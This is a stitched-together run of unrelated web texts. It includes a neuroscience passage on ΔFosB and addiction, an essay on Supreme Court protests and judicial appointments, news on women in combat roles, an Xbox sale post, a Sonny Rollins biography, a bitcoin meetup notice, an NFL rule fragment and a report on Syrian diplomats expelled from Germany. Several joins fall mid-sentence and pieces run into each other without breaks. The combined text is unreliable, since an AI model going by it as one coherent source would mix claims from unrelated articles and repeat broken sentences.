Dynorphin serves a feedback mechanism in this circuit: dynorphin, released from terminals of the NAc neurons, acts on κ opioid receptors located on nerve terminals and cell bodies of the DA neurons to inhibit their functioning. ΔFosB, by inhibiting dynorphin expression, may down-regulate this feedback loop and enhance the rewarding properties of drugs of abuse. Not shown is the reciprocal effect of CREB on this system: CREB enhances dynorphin expression and thereby attenuates the rewarding properties of drugs of abuse (4). GABA, γ-aminobutyric acid; DR, dopamine receptor; OR, opioid receptor. The second approach used to identify target genes for ΔFosB involves DNA microarray analysis. Inducible overexpression of ΔFosB increases or decreases the expression of numerous genes in the nucleus accumbens (36). Although considerable work is now needed to validate each of these genes as physiologic targets of ΔFosB and to understand their contribution to the addiction phenotype, one important target appears to be Cdk5 (cyclin-dependent kinase-5). Thus, Cdk5 was initially identified as ΔFosB-regulated by use of microarrays, and later shown to be induced in nucleus accumbens and dorsal striatum after chronic cocaine administration (37). ΔFosB activates the cdk5 gene via an AP-1 site present within the gene's promoter (36). Together, these data support a scheme wherein cocaine induces Cdk5 expression in these brain regions via ΔFosB. Induction of Cdk5 appears to alter dopaminergic signaling at least in part via increased phosphorylation of DARPP-32 (37), which is converted from an inhibitor of protein phosphatase-1 to an inhibitor of protein kinase A upon its phosphorylation by Cdk5 (26).
Role of ΔFosB in Mediating “Permanent” Plasticity to Drugs of Abuse Although the ΔFosB signal is relatively long-lived, it is not permanent. ΔFosB degrades gradually and can no longer be detected in brain after 1–2 months of drug withdrawal, even though certain behavioral abnormalities persist for much longer periods of time. Therefore, ΔFosB per se would not appear to be able to mediate these semipermanent behavioral abnormalities. The difficulty in finding the molecular adaptations that underlie the extremely stable behavioral changes associated with addiction is analogous to the challenges faced in the learning and memory field. Although there are elegant cellular and molecular models of learning and memory, it has not to date been possible to identify molecular and cellular adaptations that are sufficiently long-lived to account for highly stable behavioral memories. Indeed, ΔFosB is the longest-lived adaptation known to occur in adult brain, not only in response to drugs of abuse, but to any other perturbation (that doesn't involve lesions) as well. Two proposals have evolved, both in the addiction and learning and memory fields, to account for this discrepancy. One possibility is that more transient changes in gene expression, such as those mediated via ΔFosB or other transcription factors (e.g., CREB), may mediate more long-lived changes in neuronal morphology and synaptic structure. For example, an increase in the density of dendritic spines (particularly an increase in two-headed spines) accompanies the increased efficacy of glutamatergic synapses at hippocampal pyramidal neurons during long-term potentiation (38–40), and parallels the enhanced behavioral sensitivity to cocaine mediated at the level of medium spiny neurons of the nucleus accumbens (41). It is not known whether such structural changes are sufficiently long-lived to account for highly stable changes in behavior, although the latter persist for at least 1 month of drug withdrawal. Recent evidence raises the possibility that ΔFosB, and its induction of Cdk5, is one mediator of drug-induced changes in synaptic structure in the nucleus accumbens (Fig. 4).‡‡ Thus, infusion of a Cdk5 inhibitor into the nucleus accumbens prevents the ability of repeated cocaine exposure to increase dendritic spine density in this region. This is consistent with the view that Cdk5, which is enriched in brain, regulates neural structure and |
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Again there was a protestor, and this time the immediately-released official Court audio file included a recording of the protest itself. Just as lawyer Mary L. Bonauto finished her argument in favor of a constitutional right to same sex marriage, and before United States solicitor general Donald Verrilli began his argument, a lone protestor began shouting something that sounded like this:
“People who support gay marriage, you will burn in hell for eternity … It is an abomination from God!”
Chief Justice Roberts gave Verrilli a moment to gather his thoughts before his presentation as Supreme Court marshals removed the protestor from the courtroom. Justice Scalia, who often cracks jokes at oral argument, commented before Verrilli began.
“It was rather refreshing, actually.”
The Court’s small public audience made up of the press, lawyers, and spectators (some of whom had paid up to $6,000 to companies to hire people to stand in line for them so they could get a rare public seat at the high-profile argument) laughed heartily at Scalia’s joke, but others took offense. New Yorker columnist Jeffrey Toobin wrote that Scalia and not the protestor was the real embarrassment, as he saw Scalia as endorsing the protestor’s troubling message. More likely, Scalia the class clown was merely joking that it was nice to hear from a right-wing protester after all the leftist 99 Rise interruptions in earlier Court sessions.
99Rise activists show their support for a constitutional amendment limiting corporate campaign giving, in Sacramento, Calif. in 2014.
As a means of getting some media attention, the orations and harangues were moderately successful. The 99 Rise protests generated a few news stories, and the anti-same sex marriage protestor (and Scalia’s response) got a mention in the New York Times’ coverage of the oral argument.
A few weeks after the 99 Rise protests, Doug Hughes, a postal worker from Florida flew and landed his gyrocopter in front of the U.S. Capitol, again a protest against Citizens United. With concerns he was flying into restricted airspace and threatening national security, the government indicted Hughes on counts which could put him in jail for up to nine and half-years. The trial will get more coverage for his cause, though he faces a heavy price for his social activism.
Scholars debate how much public opinion sways what the Justices do, and how much it should. Perhaps elite opinion matters more to the Justices than general public opinion. But the protests were unlikely to change Justices’ minds on issues of campaign finance or same-sex marriage. Most of the Justices’ views on the hot-button issues most important to Americans were well known and unmovable. The Court already had a chance to overturn Citizens United in a 2012 case out of Montana and, without even setting a hearing on the question, the five-Justice conservative majority rejected out of hand the Montana Supreme Court’s findings that corporate spending could corrupt that state’s elections. The only thing the 99 Rise protests likely did was convince the Justices that cameras in the courtroom are a bad idea, because cameras could encourage more protests.
* * *
Liberals spend a lot of their time organizing for political action, on issues from the minimum wage to marriage equality to climate change to voting rights. Yet the Supreme Court already restrains much of what is permissible. Meaningful campaign finance reform is not possible until the Supreme Court overturns or otherwise dismisses the Citizens United precedent. The 99 Rise protestors may keep interrupting the Court, but that won’t change the 5-4 splits on the issue.
Social protest won’t change the Supreme Court’s views, and therefore the meaning of the Constitution and key federal statutes, On the big, ideological issues you won’t do it even excellent briefing and oral argument by the top Supreme Court litigators can’t do much.
Constitutional amendment also isn’t a realistic path to change the meaning of the Constitution in our polarized times. An amendment requires getting the agreement of two-thirds of Congress and three-quarters of the states. That is not going to happen on issues such as campaign finance, where Senate Majority Leader Mitch McConnell has made his opposition to campaign laws his signature issue.
Constitutional change can come only from Supreme Court personnel change.
Capturing the presidency is the most effective way to control who will sit on the Supreme Court. The president nominates the Justices, and will likely choose someone in line with the president’s ideology. Witness Democratic candidate Hillary Clinton suggesting she will only appoint Justices who would overturn Citizens United. Control of the Senate is also key, as the Senate confirms the president’s nominees and a Senate majority from a party opposed to the president can pressure the president to name more moderate candidates.
The Senate has often deferred to the President in the Supreme Court confirmation process. But political polarization threatens such deference in the future. With Justices today much more likely to reflect the ideology of the party of the president who appointed them, and with control of the Court for a generation likely hanging in the balance, confirmation in the Senate will be seen through a more partisan lens than they have before.
In the past few decades the Senate has mostly deferred to each President’s choices. Consider this: Justice Scalia was confirmed to the Supreme Court in 1986 on a vote of 98-0, and Justice Ginsburg in 1993 by a vote of 96-3. But 42 Democrats voted to oppose Samuel Alito, when nominated by President George W. Bush in 2006, while 37 Republicans voted to oppose Elena Kagan for the Court when nominated by President Obama in 2010. Democrats had more than enough votes to filibuster the Alito nomination (requiring 60 votes for confirmation), but chose not to. Republicans nearly had enough votes to filibuster Kagan. Neither was filibustered and both Alito and Kagan sit on the Court.
President Bush shakes Justice Samuel Alito’s hand after the Senate votes to confirm him in 2006.
We cannot expect the pattern of deference to the President to continue, whether Democrats or Republicans control the Senate. With the Supreme Court’s control at stake, there will be great pressure by partisan on each side to vote to block the other side’s nominees. If the President and the Senate majority are of the same party, expect a more highly ideological candidate to be pushed through. If the President and Senate majority are of opposite parties, there is more of the chance for a moderate candidate or even stalemate. The stakes will be high and the battle potentially fierce.
This pressure will likely break the filibuster rule. Senate Democrats under Harry Reid already eliminated the rule for all executive nominations aside from Supreme Court nominations back in 2012. The Alito and Kagan votes came before the filibuster collapse, and in the future both parties under the right circumstances will feel greatly tempted to jettison the filibuster’s application to Supreme Court nominees too if a minority party stands in the way of control of the Supreme Court. This means that a president with a majority in the Senate will have tremendous flexibility in choosing a highly ideological Supreme Court nominee.
It is not as if rejecting a nominee on ideological grounds is unthinkable. It happened most recently with Robert Bork, nominated in 1987 by President Reagan but who went down in the Senate on a 58-42 vote. Bork’s views were extremely conservative, but there seems little doubt even a more moderate conservative or liberal could get filibustered these days if control of the Court is at stake. Indeed, when he was a Senator, President Obama opposed the 2005 nomination of Chief Justice Roberts by President Bush solely on ideological grounds, even though Roberts was superbly qualified for the job and appeared to be (and has turned out to be) much more moderate than Bork would have been.
* * *
It may seem odd to think of identity of the personnel on the Supreme Court as a civil rights cause. But that’s exactly what it is. Progressives who care about the future of the country should think first and foremost about the Supreme Court, and about who will sit on it for the next generation. A hostile Supreme Court will limit the options available for building a more progressive United States. With a friendly Supreme Court, the future is much brighter.
The problem for progressives is that control of the Supreme Court is not a salient issue for its voters as much as it has been for those on the right, who have demonized liberal Supreme Court opinions for years and have experience running against the Supreme Court.
How can progressive organizers connect what the Court does over a period of years with the issues that voters immediately face when then decide how to (and as importantly whether to) vote on Election Day? Voters may think of unemployment, or taxes, or war when they go to vote. They are much less likely to think of the Supreme Court.
Progressive activists must put the Court’s importance on the public radar, by emphasizing what a conservative Court for the next generation would mean. Consider some of the issues likely to come before the Court in the next decade.
Can a state force a woman to return multiple times and view images of a fetus ultrasound before having an abortion or impose such strict licensing requirements as to cause most of the abortion providers in a state to close?
Can businesses refuse to serve same-sex couples claiming a religious exemption to doing so?
Can cities with high crime rates ban possession of automatic weapons?
Can the federal Environmental Protection Agency protect our air and water over the objections of big business and conservative states?
Will the Court put a stop to most consumer class action lawsuits, public union organizing, and products liability suits against pharmaceutical companies?
The opacity of the Supreme Court and its formulation of public policy in the guise of constitutional and statutory adjudication makes highlighting the issue of the Court’s personnel a huge challenge. But energy needs to be shifted from other battles to control of the Court, which depends on electoral victories and then organizing at the time of key nominations and confirmations.
Protestors can continue trying to sneak into the Supreme Court with their secret cameras and their protests. It may get a day’s worth of press coverage, and is increasingly likely to land the protestors in jail. But real change will come not from a stream of new people coming into the Supreme Court’s gallery to yell about the Court’s errors. Change has to come not from the gallery but from influencing who will be in those black robes behind the bench.
Liberals must recognize that the arc of the moral universe bends in the direction of the Supreme Court majority.
Richard L. Hasen is a professor of law and political science at the UC–Irvine School of Law and is the author of the forthcoming book, Plutocrats United: Campaign Money, the Supreme Court, and the Distortion of American Elections. Follow him on Twitter and at the Election Law Blog.President Obama defended the Pentagon’s decision to lift the ban on women in combat roles, saying that he had no hesitation sending female troops into harm’s way.
“Women as a practical matter are now in combat,” Obama said during a live interview Sunday on CBS before the Super Bowl. “They may not get treated as if they are in combat, but when they are in theater, in Iraq or Afghanistan, they are vulnerable, they are wounded and they’ve been killed.
“They have carried out their jobs with extraordinary patriotism and distinction,” he added.
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Outgoing Defense Secretary Leon Panetta and Joint Chiefs Chairman Gen. Martin Dempsey last month lifted the ban on female servicemembers being in ground combat units, a move which could open up as many as 237,000 new positions to female troops.
The military services, though, have until 2016 to make the case for leaving some positions or occupations closed to women.
Obama said that female troops had shown that they could handle the rigors of military life. The president said there were already “extraordinary women in uniform who can do everything a man can.”
“One of my military aides is about 5-feet tall, probably weighs 100 pounds. You put a 50-pound pack on her and she can do things that you or me would keel over doing,” he added.
“The truth is that women are serving, they are taking great risks. What we should not do is somehow prevent them from advancing in an institution that we all revere,” said Obama.
A Gallup poll last week showed that 74 percent of respondents would back a law allowing women to serve in combat, with 20 percent opposing.Celebrate the Countdown to 2014 with of deals on games, add-ons, avatars and more from the Xbox Game Store. Sign in to the Xbox LIVE or stop back here every day to see what new deals we have for you – but remember these special discounts won’t last more than a day. There will be a new deal every day between now and 2014. To kick things off, we’ve got the following Borderlands 2 content on sale starting tomorrow ONLY.
Click the links below to see local pricing and add items to your Xbox 360 download queue:
This is just the start! Follow me on Twitter
where I’ll be posting the latest deal for each day so you won’t miss a thing.In addition to the daily deals,
we’ve also got the following special offers that will also go on sale andbe available at the below discount until December 23, 2013.
Update: Terraria will be on sale Wednesday.Walter Theodore "Sonny" Rollins[1][2] (born September 7, 1930)[3] is an American jazz tenor saxophonist who is widely recognized as one of the most important and influential jazz musicians.[3] In a seven-decade career, he has recorded over sixty albums as a leader. A number of his compositions, including "St. Thomas", "Oleo", "Doxy", "Pent-Up House", and "Airegin", have become jazz standards. Rollins has been called "the greatest living improviser"[4] and the "Saxophone Colossus".
Early life [ edit ]
Rollins was born in New York City to parents from the United States Virgin Islands.[5] The youngest of three siblings, he grew up in central Harlem and on Sugar Hill,[6] receiving his first alto saxophone at the age of seven or eight.[7] He attended Edward W. Stitt Junior High School and graduated from Benjamin Franklin High School in East Harlem.[8] Rollins started as a pianist, changed to alto saxophone, and finally switched to tenor in 1946. During his high school years, he played in a band with other future jazz legends Jackie McLean, Kenny Drew, and Art Taylor.
Later life and career [ edit ]
After graduating from high school in 1947, Rollins began performing professionally; he made his first recordings in early 1949 as a sideman with the bebop singer Babs Gonzales (trombonist J. J. Johnson was the arranger of the group). Within the next few months, he began to make a name for himself, recording with Johnson and appearing under the leadership of pianist Bud Powell, alongside trumpeter Fats Navarro and drummer Roy Haynes, on a seminal "hard bop" session.
In early 1950, Rollins was arrested for armed robbery and spent ten months in Rikers Island jail before being released on parole; in 1952, he was re-arrested for violating the terms of his parole by using heroin. Between 1951 and 1953, he recorded with Miles Davis, the Modern Jazz Quartet, Charlie Parker, and Thelonious Monk. A breakthrough arrived in 1954 when he recorded his famous compositions "Oleo", "Airegin", and "Doxy" with a quintet led by Davis that also featured pianist Horace Silver.
In 1955, Rollins entered the Federal Medical Center, Lexington, at the time the only assistance in the U.S. for drug addicts.[9] While there, he volunteered for then-experimental methadone therapy and was able to break his heroin habit, after which he lived for a time in Chicago, briefly rooming with the trumpeter Booker Little.[10] Rollins initially feared sobriety would impair his musicianship, but then went on to greater success.
Rollins briefly joined the Miles Davis Quintet in the summer of 1955.[11][12] Later that year, he joined the Clifford Brown–Max Roach quintet; studio albums documenting his time in the band are Clifford Brown and Max Roach at Basin Street and Sonny Rollins Plus 4. After the deaths of Brown and the band's pianist, Richie Powell, in a June 1956 automobile accident, Rollins continued playing with Roach and began releasing albums under his own name on Prestige Records, Blue Note, Riverside, and the Los Angeles label Contemporary.
His widely acclaimed album Saxophone Colossus was recorded on June 22, 1956, at Rudy Van Gelder's studio in New Jersey, with Tommy Flanagan on piano, former Jazz Messengers bassist Doug Watkins, and his favorite drummer, Roach. This was Rollins's sixth recording as a leader and it included his best-known composition "St. Thomas", a Caribbean calypso based on a tune sung to him by his mother in his childhood, as well as the fast bebop number "Strode Rode", and "Moritat" (the Kurt Weill composition also known as "Mack the Knife").[3] A long blues solo on Saxophone Colossus, "Blue 7", was analyzed in depth by the composer and critic Gunther Schuller in a 1958 article.[13]
Sonny Rollins "St. Thomas" (1956) Improvisation from St. Thomas starting immediately after the melody Problems playing this file? See media help.
In the solo for "St. Thomas", Rollins uses repetition of a rhythmic pattern, and variations of that pattern, covering only a few tones in a tight range, and employing staccato and semi-detached notes. This is interrupted by a sudden flourish, utilizing a much wider range before returning to the former pattern. (Listen to the music sample.) In his book The Jazz Style of Sonny Rollins, David N. Baker explains that Rollins "very often uses rhythm for its own sake. He will sometimes improvise on a rhythmic pattern instead of on the melody or changes."[14] Ever since recording "St. Thomas", Rollins's use of calypso rhythms has been one of his signature contributions to jazz; he often performs traditional Caribbean tunes such as "Hold 'Em Joe" and "Don't Stop the Carnival," and he has written many original calypso-influenced compositions, such as "Duke of Iron," "The Everywhere Calypso," and "Global Warming."
In 1956 he married the actress and model Dawn Finney.[6]
In 1956 he also recorded Tenor Madness, using Davis's group – pianist Red Garland, bassist Paul Chambers, and drummer Philly Joe Jones. The title track is the only recording of Rollins with John Coltrane, who was also a member of Davis's group.[3]
At the end of the year Rollins appeared as a sideman on Thelonious Monk's album Brilliant Corners and also recorded his own first album for Blue Note Records, entitled Sonny Rollins, Volume One, with Donald Byrd on trumpet, Wynton Kelly on piano, Gene Ramey on bass, and Roach on drums.
1957–spring 1959 [ edit ]
In 1957, Rollins pioneered the use of bass and drums, without piano, as accompaniment for his saxophone solos,[15] a texture that came to be known as "strolling." Two early tenor/bass/drums trio recordings are Way Out West and A Night at the Village Vanguard. Way Out West was so named because it was recorded for California-based Contemporary Records (with Los Angeles drummer Shelly Manne), and because it included country and western songs such as "Wagon Wheels" and "I'm an Old Cowhand". The Village Vanguard album consists of two sets, a matinee with bassist Donald Bailey and drummer Pete LaRoca and an evening set with bassist Wilbur Ware and drummer Elvin Jones. Rollins used the trio format intermittently throughout his career, sometimes taking the unusual step of using his sax as a rhythm section instrument during bass and drum solos. Lew Tabackin cited Rollins's pianoless trio as an inspiration to lead his own.[15] Joe Henderson, David S. Ware, Joe Lovano, Branford Marsalis, and Joshua Redman have also led pianoless sax trios.[15]
While in Los Angeles in 1957, Rollins met alto saxophonist Ornette Coleman and the two of them practiced together.[16] Coleman, a pioneer of free jazz, stopped using a pianist in his own band two years later.
By this time, Rollins had become well known for taking relatively banal or unconventional songs (such as "There's No Business Like Show Business" on Work Time, "Toot, Toot, Tootsie, Goodbye" on The Sound of Sonny, and later "Sweet Leilani" on the Grammy-winning album This Is What I Do) and using them as vehicles for improvisation.
Rollins acquired the nickname "Newk" because of his facial resemblance to Brooklyn Dodgers star pitcher Don Newcombe.[17]
Sonny Rollins at the San Francisco Opera House, February 22, 1982
In 1957 he made his Carnegie Hall debut[18] and recorded again for Blue Note with Johnson on trombone, Horace Silver or Monk on piano and drummer Art Blakey (released as Sonny Rollins, Volume Two). That December, he and fellow tenor saxophonist Sonny Stitt were featured together on Dizzy Gillespie's album Sonny Side Up.
In 1958, he appeared in Art Kane's A Great Day in Harlem photograph of jazz musicians in New York;[19] he is one of only two surviving musicians from the photo (the other being Benny Golson).
The same year, Rollins recorded another landmark piece for saxophone, bass and drums trio: Freedom Suite. His original sleeve notes said, "How ironic that the Negro, who more than any other people can claim America's culture as his own, is being persecuted and repressed; that the Negro, who has exemplified the humanities in his very existence, is being rewarded with inhumanity."[20] The title track is a nineteen-minute improvised bluesy suite; the other side of the album features hard bop workouts of popular show tunes. Oscar Pettiford and Max Roach provided bass and drums, respectively. The LP was available only briefly in its original form, before the record company repackaged it as Shadow Waltz, the title of another piece on the record.
Following Sonny Rollins and the Big Brass (Sonny Rollins Brass/Sonny Rollins Trio), Rollins made one more studio album in 1958, Sonny Rollins and the Contemporary Leaders, before taking a three-year break from recording. This was a session for Contemporary Records and saw Rollins recording an esoteric mixture of tunes including "Rock-a-Bye Your Baby with a Dixie Melody" with a West Coast group made up of pianist Hampton Hawes, guitarist Barney Kessel, bassist Leroy Vinnegar and drummer Manne.
In 1959 he toured Europe for the first time, performing in Sweden, the Netherlands, Germany, Italy, and France.[21]
Summer 1959–fall 1961: The Bridge [ edit ]
By 1959, Rollins had become frustrated with what he perceived as his own musical limitations and took the first – and most famous – of his musical sabbaticals.[22] While living on the Lower East Side of Manhattan, he ventured to the pedestrian walkway of the Williamsburg Bridge to practice, in order to avoid disturbing a neighboring expectant mother.[23] Today, a fifteen-story apartment building named "The Rollins" stands on the Grand Street site where he lived.[24] Almost every day from the summer of 1959 through the end of 1961, Rollins practiced on the bridge, next to the subway tracks.[25] In the summer of 1961, the journalist Ralph Berton happened to pass by the saxophonist on the bridge one day and published an article in Metronome magazine about the occurrence.[26] During this period, Rollins became a dedicated practitioner of yoga.[27] Rollins ended his sabbatical in November 1961. He later said "I could have probably spent the rest of my life just going up on the bridge. I realized, no, I have to get back into the real world."[28] In 2016, a campaign was initiated that seeks to have the bridge renamed in Rollins's honor.[25]
Winter 1961–1969: Musical explorations [ edit ]
In November 1961, Rollins returned to the jazz scene with a residency at the Jazz Gallery in Greenwich Village; in March, 1962, he appeared on Ralph Gleason's television series Jazz Casual.[29] During the 1960s, he lived in Brooklyn, New York.
He named his 1962 "comeback" album The Bridge at the start of a contract with RCA Victor. Produced by George Avakian, the disc was recorded with a quartet featuring guitarist Jim Hall, Ben Riley on drums, and bassist Bob Cranshaw.[30] This became one of Rollins's best-selling records; in 2015 it was inducted into the Grammy Hall of Fame.[31]
Rollins's contract with RCA Victor lasted through 1964 and saw him remain one of the most adventurous musicians around. Each album he recorded differed radically from the previous one. The 1962 disc What's New? explored Latin rhythms. On the album Our Man in Jazz, recorded live at The Village Gate, he explored avant-garde playing with a quartet that featured Cranshaw on bass, Billy Higgins on drums and Don Cherry on cornet. He also played with a tenor saxophone hero, Coleman Hawkins, and free jazz pianist Paul Bley on Sonny Meets Hawk!, and he re-examined jazz standards and Great American Songbook melodies on Now's the Time and The Standard Sonny Rollins (which featured pianist Herbie Hancock).
In 1963, he made the first of many tours of Japan.[32]
In 2007, recordings from a 1965 residency at Ronnie Scott's were released by the Harkit label as Live in London; they offer a very different picture of Rollins' playing from the studio albums of the period.[33] (These are unauthorized releases, and Rollins has responded by "bootlegging" them himself and releasing them on his website.)
Upon signing with Impulse! Records, he released a soundtrack to the 1966 film Alfie, as well as There Will Never Be Another You and Sonny Rollins on Impulse! After East Broadway Run Down (1966), which featured trumpeter Freddie Hubbard, bassist Jimmy Garrison, and drummer Elvin Jones, Rollins did not release another studio album for six years.
In 1968, he was the subject of a television documentary, directed by Dick Fontaine, entitled Who is Sonny Rollins?[34]
1969–1971: Second sabbatical [ edit ]
In 1969, Rollins took another two-year sabbatical from public performance. During this hiatus period, he visited Jamaica for the first time and spent several months studying yoga, meditation, and Eastern philosophies at an ashram in Powai, India, a district of Mumbai.[35]
Sonny Rollins
He returned from his second sabbatical with a performance in Kongsberg, Norway, in 1971.[36] Reviewing a March 1972 performance at New York's Village Vanguard night club, The New Yorker critic Whitney Balliett wrote that Rollins "had changed again. He had become a whirlwind. His runs roared, and there were jarring staccato passages and furious double-time spurts. He seemed to be shouting and gesticulating on his horn, as if he were waving his audience into battle."[37] The same year, he released Next Album and moved to Germantown, New York.[38] Also in 1972, he was awarded a Guggenheim Fellowship in composition.[39]
During the 1970s and 1980s, he also became drawn to R&B, pop, and funk rhythms. Some of his bands during this period featured electric guitar, electric bass, and usually more pop- or funk-oriented drummers.
In 1974, Rollins added jazz bagpiper Rufus Harley to his band;[40] the group was filmed performing live at Ronnie Scott's in London.[41] For most of this period Rollins was recorded by producer Orrin Keepnews for Milestone Records (the compilation Silver City: A Celebration of 25 Years on Milestone contains a selection from these years).[42] In 1978 he, McCoy Tyner, Ron Carter, and Al Foster toured together as the Milestone Jazzstars.[43]
It was also during this period that Rollins' passion for unaccompanied saxophone solos came to the forefront. In 1979 he played unaccompanied on The Tonight Show[44] and in 1985 he released The Solo Album, recorded live at the Museum of Modern Art in New York.[45] He also frequently played long, extemporaneous unaccompanied cadenzas during performances with his band; a prime example is his introduction to the tune "Autumn Nocturne" on the 1978 album Don't Stop the Carnival.[46]
By the 1980s, Rollins had stopped playing small nightclubs and was appearing mainly in concert halls or outdoor arenas; through the late 1990s he occasionally performed at large New York rock clubs such as Tramps and The Bottom Line. He added (uncredited) sax improvisations to three tracks by the Rolling Stones for their 1981 album Tattoo You, including the single, "Waiting on a Friend"[47] and the long jam Slave (The Rolling Stones song) That November, he led a saxophone masterclass on French television.[48] In 1983, he was honored as a "Jazz Master" by the National Endowment for the Arts.[49]
In 1986, documentary filmmaker Robert Mugge released a film titled Saxophone Colossus.[50] It featured two Rollins performances: a quintet concert at Opus 40 in upstate New York and a performance with the Yomiuri Shimbun Orchestra in Japan of his Concerto for Saxophone and Symphony, a work composed in collaboration with the Finnish pianist and composer Heikki Sarmanto.
In 1993, the Sonny Rollins International Jazz Archives[51] opened at the University of Pittsburgh.[52]
New York City Hall proclaimed November 13, 1995, to be "Sonny Rollins Day."[53] Several days later, Rollins gave a performance at New York City's Beacon Theatre that reunited him with musicians with whom he played as a teenager, including McLean, Walter Bishop Jr., Percy Heath, Connie Henry, and Gil Coggins.[54]
In 1997, he was voted "Jazz Artist of the Year" in the Down Beat magazine critics' poll.[55] The following year, Rollins, a dedicated advocate of environmentalism, released an album entitled Global Warming.[56]
Rollins at Newport in 2008
Critics such as Gary Giddins and Stanley Crouch have noted the disparity between Rollins the recording artist, and Rollins the concert artist. In a May 2005 New Yorker profile, Crouch wrote of Rollins the concert artist:
Over and over, decade after decade, from the late seventies through the eighties and nineties, there he is, Sonny Rollins, the saxophone colossus, playing somewhere in the world, some afternoon or some eight o'clock somewhere, pursuing the combination of emotion, memory, thought, and aesthetic design with a command that allows him to achieve spontaneous grandiloquence. With its brass body, its pearl-button keys, its mouthpiece, and its cane reed, the horn becomes the vessel for the epic of Rollins' talent and the undimmed power and lore of his jazz ancestors.
Rollins won a 2001 Grammy Award for Best Jazz Instrumental Album for This Is What I Do (2000).[57] On September 11, 2001, the 71-year-old Rollins, who lived several blocks away, heard the World Trade Center collapse, and was forced to evacuate his apartment, with only his saxophone in hand. Although he was shaken, he traveled to Boston five days later to play a concert at the Berklee School of Music. The live recording of that performance was released on CD in 2005 as Without a Song: The 9/11 Concert, which won the 2006 Grammy for Jazz Instrumental Solo for Rollins' performance of "Why Was I Born?"[57]
Rollins was presented with a Grammy Award for lifetime achievement in 2004; that year also saw the death of his wife, Lucille.[57]
In 2006, Rollins went on to complete a Down Beat Readers Poll triple win for: "Jazzman of the Year", "#1 Tenor Sax Player", and "Recording of the Year" for the CD Without a Song: The 9/11 Concert. The band that year featured his nephew, trombonist Clifton Anderson, and included bassist Cranshaw, pianist Stephen Scott, percussionist Kimati Dinizulu, and drummer Perry Wilson.
Sonny Rollins at Stockholm Jazz Fest 2009
After a successful Japanese tour Rollins returned to the recording studio for the first time in five years to record the Grammy-nominated CD Sonny, Please (2006). The CD title is derived from one of his wife's favorite phrases. The album was released on Rollins' own label, Doxy Records, following his departure from Milestone Records after many years and was produced by Anderson. Rollins' band at this time, and on this album, included Cranshaw, guitarist Bobby Broom, drummer Steve Jordan and Dinizulu.
During these years, Rollins regularly toured worldwide, playing major venues throughout Europe, South America, the Far East, and Australasia; he is estimated to have sometimes earned as much as $100,000 per performance.[58] On September 18, 2007, he performed at Carnegie Hall in commemoration of the fiftieth anniversary of his first performance there. Appearing with him were Anderson (trombone), Bobby Broom (guitar), Cranshaw (bass), Dinizulu (percussion), Roy Haynes (drums) and Christian McBride (bass).[59]
Around 2000, Rollins began recording many of his live performances; since then, he has archived recordings of over two hundred and fifty concerts.[60] To date, four albums have been released from these archives on Doxy Records and Okeh Records: Road Shows, Vol. 1; Road Shows, Vol. 2 (with four tracks documenting his 80th birthday concert, which included Rollins's first ever recorded appearance with Ornette Coleman on the twenty-minute "Sonnymoon for Two"); Road Shows, Vol. 3; and Holding the Stage, released in April 2016.[61]
In 2010 Rollins was awarded the National Medal of Arts[62] and the Edward MacDowell Medal.;[63] in the fall of the same year he celebrated his 80th birthday with a concert at New York's Beacon Theatre that included a guest appearance by Ornette Coleman.[64] The following year he was the subject of another documentary by Dick Fontaine, entitled Beyond the Notes.[65]
Rollins has not performed in public since 2012,[66] due to recurring respiratory issues.[67]
In 2013, Rollins moved to Woodstock, New York.[68] That spring, he made a guest television appearance on The Simpsons[69] and received an honorary Doctor of Music degree from the Juilliard School in New York City.[70]
In 2014 he was the subject of a Dutch television documentary entitled Sonny Rollins-Morgen Speel ik Beter.[71] He made a public appearance in June of that year introducing saxophonist Ornette Coleman at an all-star tribute performance to Coleman in Brooklyn, NY.[72] In October 2015, he received the Jazz Foundation of America's lifetime achievement award.[61]
In the spring of 2017, Rollins donated his personal archive to the Schomburg Center for Research in Black Culture, a branch of the New York Public Library.[73][74][75][76] Later that year, he endowed the "Sonny Rollins Jazz Ensemble Fund" at Oberlin College, in "recognition of the institution's long legacy of access and social justice advocacy."[77][78]
Influences [ edit ]
As a saxophonist he had initially been attracted to the jump and R&B sounds of performers like Louis Jordan, but soon became drawn into the mainstream tenor saxophone tradition. The German critic Joachim Berendt described this tradition as sitting between the two poles of the strong sonority of Coleman Hawkins and the light flexible phrasing of Lester Young, which did so much to inspire the fleet improvisation of bebop in the 1950s.[79] Other tenor saxophone influences include Ben Webster and Don Byas. By his mid-teens, Rollins became heavily influenced by alto saxophonist Charlie Parker.[80] During his high school years, he was mentored by the pianist and composer Thelonious Monk, often rehearsing at Monk's apartment.[81]
Instruments [ edit ]
Rollins has played, at various times, a Selmer Mark VI[82] tenor saxophone and a Buescher Aristocrat.[83] During the 1970s he recorded on soprano saxophone for the album Easy Living. His preferred mouthpieces are made by Otto Link and Berg Larsen.[84] He uses Frederick Hemke medium reeds.[82]
Discography [ edit ]
Decorations and awards [ edit ]
References [ edit ]
Further reading [ edit ]If you haven't heard already we will be at Maker Faire Detroit this weekend!
Booth Features:
- Secure bitcoin storage devices
- A GPU mining rig
- ASIC miners
- Information for merchants
- Information for the general public
We will also be giving away FREE BITCOIN!
The booth will be located under the large tent in the midway. Look for the neon bitcoin sign above the booth.
You can buy tickets to and find out more information about the Maker Faire at http:// makerfairedetroit.com/
Interested in helping out? We still have slots available for people to help man the booth this weekend. For those that volunteer for 4+ hours get free entry to the faire and the Henry Ford museum. Contact us here on Meetup, on Facebook (https://www.facebook.com/MichiganBitcoiners), via e-mail at [masked], or at[masked] Even if you can't physically help us out you can help by donating to the pool of bitcoin we will give away at |
game-winning field goal.
The league also announced changes in the interpretation of a helmet-to-helmet hit after Steelers linebacker Ryan Shazier gave Bengals running back Giovani Bernard a concussion. Bernard was knocked unconscious and lost the football as a result of the play, which almost prompted a skirmish between his fellow running back, Jeremy Hill, and Steelers defenders.
The NFL said Shazier wasn't flagged because Bernard had turned and established himself as a runner instead of a defenseless receiver. Additionally, Shazier didn't intentionally line up "head on" with Bernard.
That won't matter in 2016.
With the clarification, defensive players can no longer use the crown of their helmet outside of the tackle box, no matter what angle they take. The NFL said the change is to discourage defenders from leading with the crown of their helmet."After the arrest of two people suspected of spying for Syria, I have decided to expel four members of the Syrian embassy in Berlin," Westerwelle said in a statement.
"The Syrian ambassador has been informed of this decision," added the minister.
According to diplomatic sources, there were "clear indications" that the four had carried out "acts not in accordance with diplomatic law."
The diplomats and their families now have three days to leave the country, the sources added.
Further steps against Syrian embassy staff could not be ruled out if it emerged that the Damascus regime was continuing to interfere with opposition figures and Syrian people in Germany, added the sources.
